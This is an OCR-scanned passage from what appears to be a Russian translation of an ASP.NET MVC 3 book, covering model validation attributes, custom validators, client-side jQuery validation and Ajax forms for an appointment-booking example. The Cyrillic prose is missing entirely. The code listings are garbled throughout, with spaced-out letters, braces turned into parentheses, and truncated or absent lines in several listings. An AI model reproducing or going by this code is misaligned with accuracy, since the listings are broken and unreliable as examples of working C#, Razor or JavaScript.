ModelBinders.Binders.Add(typeof(Appointment), new ValidatingModelBinder());
RegisterGlobalFilters(GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
)
Appointment
, , as 18.10.
18.10.
[HttpPost]
public ViewResult MakeBooking(Appointment appt)
if (ModelState.IsValid) {
repository.SaveAppointment(appt);
return V i e w ("Completed", appt);
} e ls e {
return View();
}
)
, , M od elS tate
. ,
M o d e lS ta te .Is V a lid , f a ls e ,
. ,
A ppointm ent Completed.
.
520
.
MVC Framework
. ,
, ,
.
, .. DefaultModelBinder.
, 18.11.
18.11.
using System;
using System.ComponentModel.DataAnnotations;
using MvcApp.Infrastructure;
namespace M v C A p p .Models (
public class Appointment {
[Required]
public string ClientName { get; set; }
[DataType(DataType.Date)]
[Required(ErrorMessage="Please enter a date")]
public DateTime Date { get; set; )
[Range(typeof(bool), "true", "true", ErrorMessage="You must accept the terms")]
public bool TermsAccepted ( get; set; J
R e q u ir e d
Range. R eq u ire d ,
, . Range ,
.
. 18.3.
18.3.
Compare
[Compare(
"")]
. ,
- ,
,
Range
[Range(10, 20)]
( ,
IComparable)
,
.
MinValue MaxValue
, [Range(int.MinValue, 50)]
18.
521
. 18.3
R egu la rE x p ression
[R egularE xpression (
.
,
, -
.
,
( ? i )
, ,
[ R e g u l a r E x p r e s s i o n (" ( l i ) ") ].
" )]
R e q u ir e d
[R e q u ire d ]
, ,
,
[ R e q u i r e d (A l l o w E m p t y S t r i n g s = t ru e )]
S trin g L en g th
[ S t r i n g L e n g t h (10)]
.
:
[ S t r i n g L e n g t h (1 0 , M i n i m u m L e n g t h = 2 ) ]
, ErrorMessage, :
[Required(ErrorMessage="Please enter a date")]
,
, . 18.7 18.8.
.
,
. ,
T e r m s A c c e p t e d :
[Range(typeof(bool), "true", "true", ErrorMessage="You must accept the terms")]
public bool TermsAccepted { get; set; }
, .
R e q u i r e d ,
b o o l H T M L - ,
, . ,
R a n g e , ,
.
t r u e , R e q u i r e d b o o l ,
.
D a t a T y p e
,
( 16). ,
, D a t a T y p e ( D a t a T y p e . E m a i l A d d r e s s )
.
522
R a n g e
Required . ,
; ,
ValidationAttribute .
18.12 .
18.12.
publ i c cl a s s MustBeTrueAttribute : V a l i d a t i o n A t t r i b u t e {
public override bool IsValid(object value)
return value is bool && (bool)value;
)
)
, M u s t B e T r u e A t t r i b u t e ,
IsValid . ,
, .
; ,
bool true. true
IsValid. :
[MustBeTrue(ErrorMessage="You must accept the terms")]
public bool TermsAccepted { get; set; }
,
Range.
, . , 18.13
, Required ,
, .
18.13.
public class FutureDateAttribute ; RequiredAttribute {
public override bool IsValid(object value)
return b a s e .IsValid(value) &&
value is DateTime &&
I
,
. :
[DataType(DataType.Date)]
[FutureDate(ErrorMessage="Please enter a date in the future")]
public DateTime Date { get; set; )
, ,
, ,
. 18.14,
.
18.
523
1 8 .1 4 .
public class AppointmentValidatorAttribute : ValidationAttribute {
public AppointmentValidatorAttribute() {
ErrorMessage = "Joe cannot book appointments on Mondays";
}
public override bool IsValid(object value) {
Appointment app = value as Appointment;
if (app == null | | string.IsNullOrEmpty(app.ClientName)'I I app.Date == null) {
//
// ClientName Date
return true;
) else {
return ! (app.ClientName == "Joe" && app.Date.DayOfWeek == DayOfWeek.Monday);
}
>
object, IsValid
Appointment.
:
[AppointmentValidator]
public class Appointment {
[Required]
public string ClientName { get; set; )
[DataType(DataType.Date)]
[FutureDate(ErrorMessage="Please enter a date in the future")]
public DateTime Date { get; set; )
[MustBeTrue(ErrorMessage="You must accept the terms")]
p u b l i c b o o l TermsAccepted { get; set; )
}
, -
.
,
.
. ,
ClientName Date, I accept the terms & conditions (
), :
. 18.9.
. 18 .9.
524
, . 18.9.
.
, .
, ,
.
,
. IValidatableObject,
18.15.
18.15.
public class Appointment : IValidatableObject {
public string ClientName { get; set; }
[DataType(DataType.Date) ]
public, DateTime Date { get; set; }
public bool TermsAccepted { get; set; }
public IEnumerable<ValidationResult> Validate(ValidationContext validationContext)
{
List<ValidationResult> errors = new List<ValidationResult>();
if (string.IsNullOrEmpty(ClientName)) {
e rro r s .Add(new ValidationResult("Please enter your n ame"));
)
if (DateTime.Now > Date) {
errors.Add(new ValidationResult("Please enter a date in the future"));
}
if (errors .Count == 0 && ClientName == "Joe"
&& Date .DayOfWeek == DayOfWeek .Monday) {
errors .Add (new ValidationResult ("Joe cannot book appointments on Mondays")) ;
}
if (!TermsAccepted) {
errors.Add(new ValidationResult("You must accept the terms"));
)
return errors;
}
}
IValidatableObject Validate.
ValidationContext,
MVC . v a l i d a t e
ValidationResult,
.
IValidatableObject, Validate
,
.
, .
,
, MVC
, , .
18.
5 25
.
M o d e l V a l i d a t i o n P r o v i d e r GetValidators.
18.16
, C u s t o m ValidationProvider.
18.16.
public class CustomValidationProvider : ModelValidatorProvider {
public override IEnumerable<ModelValidator>
GetValidators(ModelMetadata metadata, ControllerContext context)
if (metadata.ContainerType == typeof(Appointment)) {
return new ModelValidator[] {
new AppointmentPropertyValidator(metadata, context)
);
} else if (metadata.ModelType == typeof(Appointment)) (
return new ModelValidator[] {
new AppointmentValidator(metadata, context)
};
}
return Enumerable.Empty<ModelValidator>() ;
)
GetValidation
.
ModelValidator. ModelValidator
.
GetVal i d a t i o n .
,
.
A p p o i n t m e n t
Appointment.
, ,
Mo d e l Metadata,
. M o d e l M e t a d a t a . 18.4.
18.4. M o d e lM e ta d a ta
ContainerType
-
, C o n t a i n e r T y p e ,
. ,
A p p o i n t m e n t . C l i e n t N a m e
C o n t a i n e r T y p e A p p o i n t m e n t
PropertyName
,
. ,
A p p o i n t m e n t . C l i e n t N a m e
P r o p e r t y N a m e Cl i e n t N a m e
ModelType
526
. ,
.
I V a l i d a t a b l e O b j e c t ,
.
, , ,
.
18.17 ModelValidator
.
18.17.
public class AppointmentPropertyValidator : ModelValidator {
public AppointmentPropertyValidator (ModelMetadata metadata,
ControllerContext context) : base(metadata, context) {
)
public override IEnumerable<ModelValidationResult> Validate(object container)
(
Appointment appt = container as Appointment;
if (appt != null) {
switch (Metadata.PropertyName) {
case "ClientName":
if (string.IsNullOrEmpty(appt.ClientName)) {
return new ModelValidationResult [] {
new ModelValidationResult {
MemberName = "ClientName",
Message = "Please enter your name"
H;
}
break;
case "Date :
if (appt.Date == null || DateTime.Now > appt.Date)
return new ModelValidationResult[] {
new ModelValidationResult {
enter
a date
in
the
future"
} };
)
break;
case "TermsAccepted":
if (!a p p t .TermsAccepted) {
return new ModelValidationResult[] {
new ModelValidationResult {
MemberName = " T e r m s A c c e p t e d " ,
}} ;
}
break;
)
}
return Enumerable.Empty<ModelValidationResult>();
}
}_______________________________________________________________ _____________________________
18.
527
ModelMetadata, ,
, AppointmentPropertyValidator
. Validate
Metadata.PropertyName
. ,
ModelValidationResult.
,
Appointment, .
.
18.18.
18.18.
public class AppointmentValidator : ModelValidator {
public AppointmentValidator(ModelMetadata metadata, ControllerContext context)
: base(metadata, context) {
}
public override void Validate(Appointment container,
IList<ModelV>
a lidationResult> errors) (
A p p o i n t m e n t appt = (Appointment)Metadata.Model;
}) ;
)
)
}
,
container null. Metadata.Model
, .
MemberName ModelValidationResult
("").
. MVC Framework ,
.
,
.
MVC Framework, Application_Start Global.asax.
18.19 ,
Appointment.
18.19.
p r ot e c t e d v o i d Application__Start () {
A r e a R e g i s t r a t i o n .R e g i s t e r A l l A r e a s ();
528
ModelValidatorProviders.Providers.Add(new CustomValidationProvider ( ) ) ;
RegisterGlobalFilters(GlobalFilters.Filters) ;
RegisterRoutes(RouteTable.Routes);
)
ModelValidatorProviders.Providers.Add
.
, ,
, , .
,
Clear:
M o d e l V a l i d a t o r P r o v i d e r s .P r o v i d e r s .C l e a r () ;
. ,
, (
, , ).
-
- .
JavaScript.
, '
MVC Framework
. " ,
, HTML. JavaScript, MVC
Framework,
jQ u eiy Validation, .
. jQuery Validation MVC 3,
JavaScript-, Microsoft.
, - MVC Framework,
.
JavaScript .
.
, JavaScript, ,
HTML-, ,
, HTML-
.
,
. ,
JavaScript,
,
. , JavaScript , -
18.
529
,
-, .
.
20.
,
,
.
.
.
MVC Framework .
MVC 3
, ( ,
).
W eb.config, 18.20.
18.20.
<co n f i g u r a t i o n >
<appSettings>
<add key="ClientValidationEnabled" value="true"/>
<add key="UnobtrusiveJavaScriptEnabled" value="true"/>
</appS ettings>
,
tru e. MVC 3 Visual Studio
tru e .
G l o b a l . a s a x (. 18.21).
18.21.
p ro te c te d v o id A p p lica tio n __S ta rt () {
A r e a R e g is t r a t io n .R e g is te r A llA r e a s ( ) ;
HtmlHelper.ClientValidationEnabled = true;
HtmlHelper.UnobtrusiveJavaScriptEnabled = true;
R e g is t e r G lo b a lF ilt e r s (G lo b a lF ilt e r s . F i l t e r s ) ;
R e g i s t e r R o u t e s ( R o u t e T a b l e .R o u t e s ) ;
)
.
. 18.22 , Razor
.
530
II. ASP.NET 3
18.22.
Smodel M vc A p p .Models.Appointment
@{
V iewBag.Title = "Make A Booking";
t r u e , ,
f a l s e .
JavaScript, 18.23.
18.23. JavaScript,
<!DOCTYPE html>
<html>
*
<head>
<title>@ViewBag.Title</title>
<link href="@Url.Content("~/Content/Site.css")" rel="stylesheet"
type="text/css" />
<script src="@Url.Con t e n t ("-/Scripts/jquery-1.5.1.m i n .js")"
type=" text/javascript " X / script>
< s c r ip t s rc " @Url.C on ten t( " -/ S c rip ts / jq u e r y .v a l i d a t e .u n o b tru siv e.min. j s " ) "
type= "text/javascript " x / s c r i p t >
</head>
<body>
SRenderBody()
</body>
</html>
,
,
, 18.23.
! jQuery . ,
, .
JavaScript-. ,
m i n . j s , ;
,
.
,
, .
, ( )
JavaScript, - .
18.
531
CDN JavaScript
18.23 jQuery,
-/Scripts .
Microsoft Ajax Content Delivery Network (CDN). ,
Microsoft; ,
MVC JavaScript, ,
.
CDN . ,
, , CDN
, . ,
, CDN.
,
. jQuery
MVC, Microsoft
.
CDN, src script
URL:
ht t p ://j .aspnetcdn.com/aj/j Query/j query-1 .5.1.min.j s
ht t p ://aj a x .aspnetcdn.cora/ajax/j query.validate/1.7/jq u e r y .validate.m i n .j s
ht t p ://ajax.aspnetcdn.com/ajax/mvc/3.0/jquery.validate.unobtrusive.min.js
, , script, jQuery,
:
<script src="h t t p ://j .aspnetcdn./aj/jQuery/jquery-1.5.1.min.jS"
type="text/j avascript"X / script>
CDN jQuery,
URL. (
URL) w w w . a s p . n e t / a j a x l i b r a r y / c d n . a s h x .
CDN -,
, , CDN . ,
JavaScript- .
j Query
.
, ,
R e q u i r e d , R a n g e S t r i n g L e n g t h . 18.24
Appointment .
18.24. ,
A p p o in tm e n t
public class Appointment
[Required]
[StringLength (10, MinimumLength=3)]
public string ClientName
{ get;
set;
532
[DataType(DataType.Date)]
[Required(ErrorMessage="Please enter a date'')]
public DateTime Date ( get; set; }
public bool TermsAccepted { get; set; }
)
.
,
, M akingBooking
(. 18.25).
18.25. HTML-
@model MvcApp.Models.Appointment
e<
ViewBag.Title = "Make A Booking";
}
<h4>Book an Appointment</h4>
@using (Html.B eginForm()) (
0Html.ValidationSummary()
<p>Your name: SHtml.EditorFor(m => m.ClientName)
@Html.ValidationMessageFor(m => m.ClientName)</p>
< p > A p p o in tm e n t
D ate :
@ H tm l. E d i t o r F o r ( m
=> m .D a te )
ty p e= "su b m it"
v a lu e = "M a k e
B o o k in g "
/>
}
, MakeBooking
, M a k e B o o k i n g . csh tm l .. , .
,
Appointment, JavaScript,
. 18.10.
. 1 8 .1 0 .
18.
533
,
,
. ,
,
.
: ,
, ,
HTML-.
J ClientName, Required,
Appointment.
StringLength,
(. 18.11).
. 1 8 .1 1 .
. ,
;
. ,
.
. , ,
Html.ValidationSummary, ,
Make Booking ( ) .
, ,
.
, Joe
, ClientName Appointment.
.
, ,
. 18.12.
, ,
,
. ,
.
,
POST, .
534
II. ASP.NET 3
. 1 8 .1 2 .
ClientName
. ,
. 18.13.
. 18.13.
, , ,
. ,
; , ,
.
MVC
Framework - JavaScript
H T M L. H T M L -,
Html.EditorFor ClientName,
:
<input class="text-box single-line" id=ClientName" name="ClientName"
type="text" value="" />
18.
535
HTML-
:
<input c l a s s = " t e x t - b o x s i n g l e - l i n e " data-val="true" data-val-length="The
field ClientName must be a string with a minimum length of 3 and a
maximum length of 10." data-val-length-max="10" data-val-length-min="3"
data-val-required="The ClientName field is required."
id = " C lie n tN a m e " nam e="ClientN am e" ty p e = " t e x t" v a lu e = " " />
MVC Framework
JavaScript JSON
; MVC Framework, .
d a t a - v a l . jQ uery Validation
, ,
.
d ata-val-< H M .s> , , .
, , R e q u ir e d , ,
d a t a - v a l - r e q u i r e d HTML-. ,
, , .
; ,
d a t a - v a l- le n g t h - m in d a t a - v a l- le n g t h - m a x ,
.
, ,
jQuery Validation,
MVC.
MVC
. , , ,
JavaScript, ,
, JavaScript;
.
MVC
jQuery Validation
MVC
jQuery Validation, ,
MVC. jQuery Validation ; ,
MVC
. jQuery
Validation JavaScript.
, .
$ ( d o c u m e n t ) .r e a d y ( f u n c t i o n () {
.v a l i d a t e ( {
e r r o r L a b e l C o n t a i n e r : '# v a l i d t i o n S u m m a r y ',
w r a p p e r : 'l i ',
rules: {
C l i e n tName: {
required: true,
}
>,
S ( ' form' )
536
}
));
});
MVC JavaScript,
.
MVC ,
,
. jQuery
Validation http://basslstance.de/jquery-plugins.
,
, . 18.3 .
j Query Validation
, , MVC
.
HTML-
, 18.26.
18.26. HTML-
@model Mvc A p p .Models.Appointment
@{
ViewBag.Title = "Make A Booking";
}
<h4>Book an Appointment</h4>
@using (Html.BeginForm ()) {
@Html.ValidationSummary()
<p>Your n a m e :
}
,
, H t m l . T e x t B o x F o r ,
, , HTML.
18.
537
. HTML- (-), C#
.
(_ ), HTML-
.
H T M L -
ClientName:
cinput d a t a - v a l = " t r u e " data-va l - e m a i l = " E n t e r a va l i d email address"
d a t a - v a l - r e q u i r e d = " P l e a s e enter your name" id="ClientName"
n a m e = " C l i e n t N a m e " type="text" value="" />
r e q u i r e d Requ i r e d .
e m a i l
. . 18.5.
18.5. jQuery
Required
Required
;
R e q u i r e d
Length
StringLength
/ .
data-val-length-min,
data-val-length-max.
,
- min - m a x
Range
Range
,
d a t a - v a l - r e q u i r e d - m i n
data-val-required-max.
Regex
RegularExpression
"
,
data-val-regexp-pattern
Equalto
Compare
,
,
data-val-equalto-other
Url
URL
Date
Number
(
)
Digits
Creditcard
538
II. ASP.NET 3
,
#, , ,
. , creditcard ,
(Luhn): , ,
,
.
, em a i l url
URL,
-. ,
, .
,
HTML- ,
, .
,
,
,
.
18.27 ,
.
18.27. ,
public class EmailAddressAttribute ; ValidationAttribute {
p r i v a t e static r e a donly R egex emailRegex = new R e g e x (".+ @ .+ \ \ ..+") ;
public EmailAddressAttribute () (
E r r o r M e s s a g e = "Enter a valid email address";
}
public override bool IsValid(object value) (
return !string.IsNullOrEmpty((string)value) &&
emailRegex.IsMatch((string)value);
}
, ;
ValidationAttribute IsValid
.
! ,
.
.
,
IClientValidatable, 18.28.
18.
539
18.28. I C l i e n t V a l i d a t a b l e
public interface IClientValidatable {
IEnumerable<ModelClientValidationRule>
GetClientValidationRules(ModelMetadata metadata, ControllerContext context);
}
GetClientValidationRules,
ModelClientValidationRule.
ModelClientValidationRule
, , ,
, ,
. 18.29 ,
EmailAddressAttribute 18.27.
18.29. E m a ilA d d r e s s A t t r ib u t e
public class EmailAddressAttribute : ValidationAttribute, IClientValidatable
{
private static readonly Regex emailRegex = new R e g e x (".+ @ .+ \ \ ..+") ;
public EmailAddressAttribute () {
ErrorMessage = "Enter a valid email address";
)
public override bool IsValid(object value) {
return !string.IsNullOrEmpty((string)value) &&
emailRegex.IsMatch((string)value);
)
public IEnumerable<ModelClientValidationRule> GetClientValidationRules(
ModelMetadata metadata, ControllerContext context) {
return new List<ModelClientValidationRule> {
new ModelClientValidationRule {
ValidationType = "email",
ErrorMessage = this.ErrorMessage
},
new ModelClientValidationRule {
ValidationType = "required",
E rrorM essage
= t h i s .E rro rM essa ge
}
};
}
ModelClientValidationRule,
.
, email required (
ValidationType ModelClientValidationRule),
(
ErrorMessage).
540
ClientNam e ,
, IC lie n tV a lid a t a b le
HTML-, .
Is V a lid .
,
, , HTML-.
,
. 18.5, , . ,
JavaScript, .
MVC
jQuery. ,
, -
, MVC
jQuery. ,
, .
,
, , ,
.
, jQuery- r e q u ir e d ,
18.30.
1 8 .3 0 .
MVC jQuery
<!DOCTYPE html>
<html>
<head>
jQ u ery.v a lid a to r.u n o b tru siv e.a d a p ters ,a d d ("ch eck b o x tru e", fu n ction (options
<
if (options.ele m e n t .tagName.toUpperCase() == "INPUT" &&
options.element.typ e .toUpperCase() == "CHECKBOX") {
o ptions.r u l e s ["required"] = true;
if (options.message) {
options.messages["required"] = options.message;
}
}
});
18.
541
</script>
< / h ead>
<body>
S R e n d e r B o d y ()
< / b ody>
< / h tml>
c h e c k b o x t r u e ,
, r e q u i r e d jQuery
Validation. (_ L a y o u t .c s h t m l) .
.
! ,
, . ,
,
. 18.31
c h e c k b o x t r u e 18.30.
18.31.
M u s t B e T r u e A t t r ib u t e
p u b lic
c la s s
M u s tB e T ru e A ttrib u te
p u b l i c o v e r r i d e b o o l I s V a l i d ( o b j e c t value)
re t u r n v a l u e is bo o l && (bool)value;
)
()
. ,
.
542
,
, ;
. Ajax
. ,
, .
,
. -,
;
- ,
. -,
, . ,
,
. -, .
. ,
.
, :
,
,
, .
. Ajax JSON MVC Framework 19.
, .
Date Appointment,
(
, ). 18.32 V alid a teD a te.
AppointmentController.
18.32.
public class AppointmentController : Controller {
private lAppointmentRepository repository;
public AppointmentController(lAppointmentRepository repo)
repository = repo;
}
public ViewResult MakeBooking () {
return View(new Appointment { Date = DateTime.Now }) ;
}
public JsonResult ValidateDate(string Date) {
DateTime parsedDate;
18.
[HttpPost]
public ViewResult MakeBooking(Appointment appt)
543
if (ModelState.IsValid) {
repository.SaveAppointment(appt) ;
return V i e w ("Completed", appt);
) else {
r e t u r n V i e w {.) ;
)
)
)
, ,
JsonResult,
; Date. ,
DateTime , ,
, .
. ,
DateTime, ,
apple, . ,
DateTime apple
.
, .
, ,
. ,
string
, .
J s o n ,
JSON,
.
, Json
true;
return J s o n (true, JsonRequestBehavior.AllowGet );
,
, :
return Jso n ("Please enter a date in the future", JsonRequestBehavior.AllowGet) ;
JsonRequestBehavior.AllowGet. , MVC Framework
GET, JSON,
.
,
.
! ,
, .
, .
,
.
544
,
, (,
-).
, ,
, .
.
.
1 9
Ajax
jax ( AJAX) 'Asynchronous
JavaScript and X M U ( JavaScript XML). , X M L
Ajax, ;
, -.
Ajax,
18, ,
.
Ajax MVC
M V C Framework Ajax. , 18
, JavaScript-KOfla
H T M L -. ,
Ajax M V C JavaScript- jQ u e ry ,
20.
Ajax ,
. ,
Visual Studio Empty () ASP.NET MVC 3
Web A pp lication MvcApp.
Appointment, 19.1.
19.1. A p p o in tm e n t
public class Appointment {
public string ClientName { get; set; }
[DataType(DataType.Date)]
public DateTime Date { get; set; }
public bool TermsAccepted { get; set; )
1
, ,
.
AppointmentController, 19.2.
18 . 4039
546
1 9 .2 . A p p o i n t m e n t C o n t r o l l e r
p u b lic c l a s s A pp oin tm e ntCo n troller : C o n t r o lle r {
p u b l i c A c t i o n R e s u l t I n d e x ()
return V iew ();
)
[H t tp P o s t]
p u b l i c A c t i o n R e s u l t I n d e x ( s t r i n g id ) {
return V iew ("Ind ex", ( o b je c t ) id ) ;
)
p u b l i c V i e w R e s u l t A pp oin tm e ntD a ta ( s t r i n g
IEn um erable <Appointm ent> d a t a = new[] (
new App ointm ent { C lie n tN a m e = " J o e " ,
new App ointm ent ( C lie n tN a m e = " J o e " ,
new App ointm ent { C lie n tN a m e = " J o e " ,
new Appointm ent ( Clien tN am e = " J a n e " ,
new App ointm ent ( C lien tN am e = " J a n e " ,
new Appointm ent ( C lie n tN a m e = "Bob",
new Appointm ent { C lie n tN a m e = "Bob",
id)
D ate
D ate
Date
Date
Date
Date
Date
=
=
=
=
=
=
=
D a t e T im e . P a r s e ( " 1 / 1 / 2 0 1 2 " ) },
D a t e T i m e . P a r s e ( " 2 / 1 / 2 0 1 2 " ) ),
D a t e T im e . P a r s e ( " 3 / 1 / 2 0 1 2 " ) ),
D a t e T im e . P a r s e ( " 1 / 2 0 / 2 0 1 2 " ) ) ,
D a t e T im e . P a r s e ("1 /2 2 /2 0 1 2 " ) },
D a t e T im e . P a r s e ( " 2 / 2 5 / 2 0 1 2 " ) } ,
D a te T im e .P a rse ("2 /2 5 /2 0 1 3 "))
};
if
1
retu rn V iew (d a ta );
}
}
I n d e x I n d e x , c s h t m l , 19.3.
19.3. I n d e x .c s h t m l
Smodel s t r i n g
@{
V ie w B a g . T i t l e = " I n d e x " ;
)
<h4>Appointment L i s t < / h 4 >
S u s in g (H t m l. B e g i n F o r m () )
< ta b le>
<thead>
< th > C lie n t
N am e</th>
< th > A p p o in tm e n t
D a te< / th >
</th ead>
<tbody id="tabledata">
@ H tm l.A c tio n ( "A p p o in tm e n tD a ta ",
new
id
= M odel
))
< / t a b le >
<p>
S H tm l. D ro p D o w n L is t( " i d " ,
new []
< in p u t
</p>
)
{ " A ll",
"Joe",
t y p e " s u b m i t "
new S e l e c t L i s t (
"Jane",
v a lu e
"Bob" } ,
= "S u b m it"
/>
19. Ajax
547
Index HTML- ,
.
Index, ,
, .
().
, , ,
Appointment.
Appointm entData,
Appointment , i d ,
LINQ , ,
. Appointm entData . cshtm l
19.4.
1 9 .4 . A p p o i n t m e n t D a t a . c s h t m l
@model IEnumerable<MvcApp.Models.Appointment>
0{
Layout - null;
}
gforeach (Appointment appt in Model)
<tr>
}
Appointment
C lie n tN a m e D ate (
TermsAccepted ). ,
Appointment, . 19.1.
Ajax,
JavaScript-. ,
Submit (), .
,
. .
. 19 .1. - Ajax
548
Ajax
Ajax
. ,
true UnobtrusiveJavaScriptEnabled Web.config,
19.5.
,
G l o b a l .asax ( .
18).
*
UnobtrusiveJavaScriptEnabled.
,
JavaScript , Ajax.
script,
19.6.
19.6. s c r ip t
JavaScript
<!DOCTYPE html>
<html>
<head>
<title>@ViewBag.Title</title>
<link href="@Url.Cont e n t ("~/Content/Site.css")"
rel="stylesheet" type="text/css" />
19. Ajax
549
Ajax
Ajax HTML-.
Ajax
.
Ajax .
AjaxOptions, Ajax.
Html .BeginForm A ja x .BeginForm,
19.7.
Susing
<thead>
< t h > C l i e n t N ame</th>
<th>Appointment Dates</th>
< / thead>
<tbody id="tabledata">
@Html.Action("AppointmentData", new { id = Model })
< /tbody>
</table>
<P>
SHtml.DropDownList ("id", new SelectList(
new [j ( "All", "Joe", "Jane", "Bob" }, (Model ?? "All")))
<input type="submit" value = "Submit" />
</p>
}
AjaxOptions ,
, .
. 19.1.
UpdateTargetld tabledata.
HTML- tbody.
, AppointmentData,
. .
. AjaxOptions ,
.
Ajax".
550
19.1. A ja x O p tio n s
Confirm
,
, Ajax
HttpMethod
HTTP,
: Get Post
InsertionMode
, , ,
HTML.
InsertionMode: InsertAfter, InsertBefore
Replace ( )
LoadingElementld
HTML-,
Ajax
LoadingElementDuration
,
, LoadingElementld
UpdateTargetld
HTML-,
,
Url
URL,
Ajax HTML-.
Submit
AppointmentData.
Appointment , HTML-
. HTML- ,
tbody
.
Ajax
Ajax MVC Framework
, 18. ,
Aj axOptions, HTML-,
Ajax. , ,
form, Aj .BeginForm 19.7:
<form tion="/Appointment/AppointmentData" d a t a - a j a x = " t r - u e "
d a t a - a j a x -m o d e = " re p la c e "
d a t a - a ja x - u p d a t e = " # t a b le d a t a " id="formO" mettiod=post">
19. Ajax
551
Ajax
Ajax MVC Framework .
HTML JavaScript JSON, ,
Ajax. Ajax, Web.config
U nobtrusive J a v a S c r i p t E n a b l e d false,
Ajax . , form,
, 19.7 Ajax:
<form action="/Appointment/AppointmentData" id="formO" method="post"
onclick="Sys.Mvc.AsyncForm.handleClick(this, new Sys.Ul.DomEvent(event));"
onsubmit="Sys.Mvc.AsyncForm.handleSubmit(this, new S y s .U l .DomEvent(event), (
insertionMode: Sys.Mvc.InsertionMode.replace, UpdateTargetld:
'tabledata' });">
, HTML- :
<script type="text/j avascript">
//< ! [D A T A [
if (!window.wvcClientValidationMetadata) { window.mvcClientValidationMetadata = []; )
window.mvcClientValidationMetadata.p u s h ({
"Fields":[] , "Formld":"formO","ReplaceValidationSummary":false});
//] ] >
</script>
,
M i c r o s o f t A j . j s M ic r o s o f t M v c A j a x . j s - / S c r i p t s ,
Microsoft CDN. , MVC Framework Ajax,
8 , HTML- .
Ajax
Ajax ,
AjaxOptions, Ajax.BeginForm.
Ajax 19.7
, .
AppointmentData, HTML.
,
JavaScript ( ). ,
, HTML-
, .
. 19.2.
AjaxOptions .Url,
URL , 19.8.
552
II. ASP.NET 3
. 19 .2. Ajax. B e g i n F o r m
JavaScript
1 9 .8 . A j a x O p t i o n s . U r l
Smodel string
0{
ViewBag.Title = "Index";
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = Url.Action("AppointmentData")
};
1
< h 4 > A p p o i n t m e n t List</h4>
0using (Ajax.BeginForm(ajaxOpts)) (
<table>
<thead>
<th>Client Name</th>
<th>Appointment Dates</th>
</thead>
<tbody id="tabledata">
SHtml.Action("AppointmentData", new { id = Model })
</tbody>
</table>
<p>
</p>
}
Url.Action, URL,
AppointmentData, A j a x .BeginForm,
AjaxOptions. ,
,
Index.
19. Ajax
553
JavaScript, U RL,
AjaxOptions .Url, .
H T M L - .
JavaScript Index POST
H T M L -.
Ajax
, ,
- . A j a x O p t i o n s .
LoadingElementld, 19.9.
19.9.
L o a d in g E le m e n tld
Gmodel string
@{
V iewBag.Title = "Index";
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = Url .Action("AppointmentData"),
LoadingElementld = "loading",
LoadingElementDuration = 2000,
);
)
<h4>Appointment List</h4>
<div id="loading" style="display:non e ; color:Red; fsnt-weight: bold">
<p>Loading D a t a ...</p>
</div>
@using (Ajax.BeginForm(ajaxOpts)) (
<table>
<thead>
<th>Client Name</th>
<th>Appointment Dates</th>
</thead>
<tbody id="tabledata">
SHtml.A c t i o n ("AppointmentData", new { id = Model })
</tbody>
</table>
<p>
SHtml.DropDownList ("id" , new SelectList (
new [] { "All", "Joe", "Jane", "Bob" ), (Model ?? "All")))
Cinput type="submit" value = "Submit" />
</p>
}
Aj axOptions .LoadingE l e m e n t l d id
HTML-,
. div,
C S S - d i s p l a y :none. . 19.3.
554
II. ASP.NET 3
. 19.3. Ajax
AjaxOptions .LoadingElementDuration
,
. Ajax , ,
LoadingElementld, .
AjaxOptions .Confirm
.
. 19.10.
19.10.
model
s tr in g
@{
ViewBag.Title = "Index";
AjaxOptions ajaxOpts = new AjaxOptions {
UpdateTargetld = "tabledata",
Url = U rl.Action("AppointmentData"),
LoadingElementld = "loading",
LoadingElementDuration = 20000,
Confirm = "Do you wish to request new data?"
};
,
. 19.4. ,
,
.
, ,
.
19. Ajax
555
. 1 9 .4 .
Ajax-
A j a x Ajax,
. , (),
. I n d e x . c s h t m l ,
19.11.
19.11. Ajax-
Smodel string
@{
V iew B ag.T i t l e
A jaxO ptions
"In dex";
ajaxOpts
U pdateTargetld
= new A j a x O p t i o n s
"tabledata",
Url = Url.Action("AppointmentData"),
LoadingElementld = "loading"
};
<h4>Appointment List</h4>
<div id="loading" style="display:none; color:Red; font-weight: bold">
<p>Loading Dat a . .,</p>
</div>
0using (Ajax.BeginForm(ajaxOpts)) (
<table>
<thead>
< th > C lien t
Nam e</th>
D ates</th >
<tbody id="tabledata">
@Html.Action("AppointmentData", new { id = Model ))
</tbody>
< /table>
<p>
@Html. D ro pD ow n List ( " i d " ,
new [ ]
"A ll",
"Joe",
new S e l e c t L i s t (
"Jane",
"Bob"
},
(Model
??
"A ll")))
)
@foreach (string str in new[] { "All", "Joe", "Jane", "Bob" }) {
<div style="margin-right:5px; float:left">
@Ajax.ActionLink(str, "AppointmentData", new { id = str },
new AjaxOptions {
UpdateTargetld = "tabledata",
LoadingElementld = "loading",
})
</div>
556
foreach div ,
.
Ajax Aj . ActionLink. H T M L ,
, :
<div style="margin-right:5; float:left">
< data-ajax="true" data-ajax-ioading="#loading" data-ajax-raode="repiace"
data-aj ax-update="#tabledata" href="/Appointment/AppointmentData/Bob">
Bob</a>
</ d iv>
H T M L . Ajax
,
Ajax M V C Framework, jQueiy.
. AjaxOptions,
foreach. , .
, . 19.5.
. 19.5. Ajax-
,
Submit.
AjaxOptions, . 19.1:
,
.
Ajax- , .
JavaScript, H T M L -,
AppointmentData.
. Aj axOptions .Url U R L Ajax
Index Ajax .ActionLink,
19.12.
19. Ajax
557
19.12. Ajax-
Sforeach (string str in new[] { "All", "Joe", "Jane", "Bob" }) (
<div style="margin-right:5px; float:left">
0Ajax.ActionLink(str, "Index", new ( id = str },
new AjaxOptions (
UpdateTargetld = "tabledata",
LoadingElementld = "loading,
Url = Url .Action ("AppointmentData", new { id = str })
})
</div>
}
, . , Ajax H T M L -,
input, .
, . JavaScript
, , GET,
Index .
. 19.13
, Index.
19.13.
Ajax-
public class AppointmentController : Controller (
//public ActionResult I n d e x () (
//
return V i e w () ;
//}
//[HttpPost]
public ActionResult Index(string id) {
return V i e w ("Index", (object)id);
}
public ViewResult AppointmentData(string id)
IEnumerable<Appointment> data = n e w [] {
new Appointment { ClientName = "Joe", Date
new Appointment { ClientName = "Joe", Date
new Appointment { ClientName = "Joe", Date
new Appointment { ClientName = "Jane", Date
new Appointment { ClientName = "Jane", Date
new Appointment { ClientName = "Bob", Date
new Appointment ( ClientName = "Bob", Date
};
{
=
=
=
=
=
=
